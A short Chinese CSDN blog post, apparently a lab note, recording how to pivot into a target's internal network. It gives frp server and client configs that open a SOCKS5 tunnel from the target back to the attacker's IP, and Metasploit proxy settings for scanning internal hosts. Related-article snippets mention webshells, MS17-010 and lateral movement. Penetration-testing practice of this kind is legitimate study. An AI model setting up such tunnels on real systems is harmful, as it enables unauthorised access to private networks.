记录一次内网代理

已于 2022-03-02 15:04:57 修改
阅读量738 收藏
点赞数
文章标签： linux 安全 渗透测试
于 2022-01-13 16:00:05 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_47709391/article/details/122475375
版权

攻击机配置 frps.ini

# frps.ini
[common]
bind_addr = 0.0.0.0

开启frp

./frps -c frps.ini

目标机配置 frpc.ini

# frpc.ini
[common]
server_addr = 攻击机IP
server_port = 7000
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5

开启frp

./frpc -c frpc.ini

在这里插入图片描述

MSF配置代理

setg Proxies socks5:172.16.12.128:6000
setg ReverseAllowProxy true

对目标靶机中的内网机器进行探测
在这里插入图片描述

# .
关注
记一次内网靶机实战
千寻的博客
11-05 2179
记一次内网靶机实战记录，1、shiro反序列化漏洞 2、strut2漏洞 3、Drupal漏洞 4、内网代理工具 5、数据库连接工具 6、window的samba漏洞 7、viper的使用
FRP内网穿透及多级代理的使用
imtech的博客
06-20 2973
今天借着proxifier和一个复杂一点的场景测试一下frp的基础功能和多级代理功能。其实我在某视频网站发过一次视频，由于水平有限没多少播放量，而且时间长了自己都忘了某些细节，所以今天用文字记录一下。下图是测试场景，比如渗透测试过程中黑客利用了S1对外映射的某Web服务的漏洞，通过该漏洞上传了webshell，控制了S1。这时候就想通过其他方式连接该服务器，比如3389端口，或者把S1当成跳板来进行横向渗透S2。这种情况下就可以使用frp最基础的功内网穿透。
内网渗透之跨路由访问
qq_56426046的博客
11-16 1417
在渗透测试过程中，经常拿到web主机与数据库不同在一个网段，可以得出这台主机还连着一个内网， 如果想要继续渗透内网，可以把这台web主机当作跳板机，对内网进行渗透。kali无法直接访问目标主机 但是kali获取受害者的权限 得知可以访问目标主机，所以可以通过受害者做 跳板访问目标主机 获取内网网卡命令。msf使用隧道模块 默认是使用socks5 也可以选择socks4a。绑定路由 不绑定路由就没法访问目标主机。使用代理隧道nmap扫描内网主机。末将于禁，愿为曹家世代赴汤蹈火。msf 使用代理访问目标。
内网渗透-隧道技术（socks转发、ssh隧道）
qq_44005305的博客
08-01 417
本片文章将会介绍在内网渗透中经常用到的隧道技术。
内网靶场_从自做到拿下-攻击篇
l805142479的博客
03-14 5119
内网靶场学习，从自己制作靶场到拿下靶场；从frp的隧道搭建，到cs利用frp的反向上线；
metasploit后渗透之进阶知识
Longwaer
02-01 2576
通过学习kali中的MSF各种小技巧，熟练掌握后渗透技术。
内网渗透的一次记录 作者：Jaky.pdf
04-08
本文基于《内网渗透的一次记录》这一实战案例，详细解析了内网渗透的具体步骤和技术要点。 #### 二、环境准备 在进行内网渗透之前，需要做好充分的准备工作。主要包括生成远控木马、部署木马以及设置监听环境等...
基于Java开发的一款基于Netty的内网穿透工具，主要用于将内网服务反向代理到公网访问.zip
03-23
Java是一种广泛使用的面向对象的编程语言，以其“一次编写，到处运行”的特性而闻名。它提供了丰富的类库和API，使得开发者能够高效地构建复杂的应用程序。在Java中，我们可以利用Socket编程来实现网络通信，但Netty...
一次内网靶场学习记录
HBohan的博客
11-27 4621
环境搭建 web服务器： 外网IP 192.160.0.100 内网IP 10.10.20.12 域内机器win7 : 内网IP 10.10.20.7 内网IP 10.10.10.7 域内服务器 Mssql： 内网IP 10.10.10.18 域控机器： 内网IP 10.10.10.8 →点击查看技术资料← 1.2000多本网络安全系列电子书 2.网络安全标准题库资料 3.项目源码 4.网络安全基础入门、Linux、web安全、攻防方面的视频 5.网络安全学习路线图 外网渗透 端口扫描 搭建好环境，对目
内网渗透之多种方式实现内网穿透（详细）
qq_38348692的博客
09-03 1万+
靶机为win7 使用ms17_010_enternalbule获得meterpreter权限，在这里注意，设置payload是必须的，否则不能获得metepreter权限，直接弹到 创建跳板路由: run autoroute -s 192.168.10.0/24 创建路由 run autoroute -p 打印路由[在这里插入图片描述] 输入background退回metaploit可以看...
内网穿透常用方法系列总结
渗透测试研究中心
02-24 962
前言在内网渗透时，一个WebShell或CobaltStrike、Metasploit上线等，只是开端，更多是要内网横向移动，扩大战果，打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”，才能进一步攻击。可实战中因为网络环境不同，所利用的方式就不同。本文内容按以下思维导图展开目标出网(socks代理)这是实战中最愿意碰到的网络环境，目标机可以正常访问互联网，可直接在目标机挂soc...
内网渗透-利用frp代理流量后msf攻击内网永恒之蓝漏洞（ms17-010）-永恒之蓝利用失败的原因
weixin_42109829的博客
01-18 1万+
0x01 前言 当我们进内网的的时候，会遇到永恒之蓝这种漏洞，之前不懂代理的时候，总是不找到怎么利用，等到我学会了流量代理，frp等工具，才慢慢理解各种协议，各种流量方式的通信方式。 初级–》frp代理了解 进阶–》多层代理 0x02 靶场环境 靶场搭建 0x03 frp简易配置 frp 的配置分为两部分，一个是在公网的vps 运行的 frps 程序 一个是在内网运行的frpc 程序， 下载地址 https://github.com/fatedier/frp/releases/tag/v0.38.0 一、
红队——多层内网环境渗透测试
m0_65355570的博客
12-06 968
本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透，从外网打点到内网横向穿透，最终获得整个内网权限的过程，包含GPP漏洞利用，非约束委派和约束委派，CVE-2020-1472，SQLServer提权等等文中若有不当之处，还望各位大佬多多点评。请注意：整个环境共四台目标机，分别处在三层内网环境当中DMZ区的靶机拥有两个网卡，一个用来对外提供服务，一个用来连通第二次网络第二层网络的靶机同样有两个网卡，一个连通第二层网络，一个连通第三层网络第三层网络的靶机只有一张网卡，连通第三层网络，包含域控机
内网渗透测试笔记
xnxqwzy的博客
08-22 201
DNS**请求就会落到我们提前搭建好的恶意DNS服务器上[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DDzKSTxI-1692624418031)(https://image.3001.net/images/20211006/1633510163_615d63137a263652da1f8.png!small)]
ATT&CK 红队实战 2
m0_64118193的博客
11-03 1005
难度：中等 每台主机上运行着360，同时打开防火墙。（模拟外网连接）配置 192.168.111.0。WEB 网络适配器1。WEB 网络适配器 2。PC 网络适配器1。PC 网络适配器 2。下载web扫描漏洞工具。
封神台-掌控者新靶场 - Kali系列4题
热门推荐
weixin_43821278的博客
03-11 1万+
新靶场 - Kali系列【4题】 Kali渗透 - Sqlmap实操靶场
【CS学习笔记】20、通过Socks转发的方法
TeamsSix 的 CSDN 空间
09-05 1871
0x00 前言 这一小节中，将看看如何构建一个 SOCKS 代理服务器使一个上线主机变成我们的跳板机。 0x01 Pivoting 根据 A-Team 团队中 CS 手册中的介绍，Pivoting 是指 将一个受害机器转为其他攻击和工具的跳板 的操作。 在进行 Pivoting 操作之前，需要将当前会话改为交互模式，也就是说输入命令就被执行，执行 sleep 0 即为交互模式。 0x02 Socks 在当前 beacon 上可以右击选择 Pivoting --> SOCKS Server 设
ssh内网穿透
最新发布
03-28
这里设置了每隔三十秒钟发送一次探针信号给远端伙伴告知自己还活着; 如果连续三次都没有收到回应就会触发重新构建关联动作直到恢复正常通讯联系为止.[^3] --- ### Frp作为另一种选择 Frp (Fast Reverse Proxy) 是...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值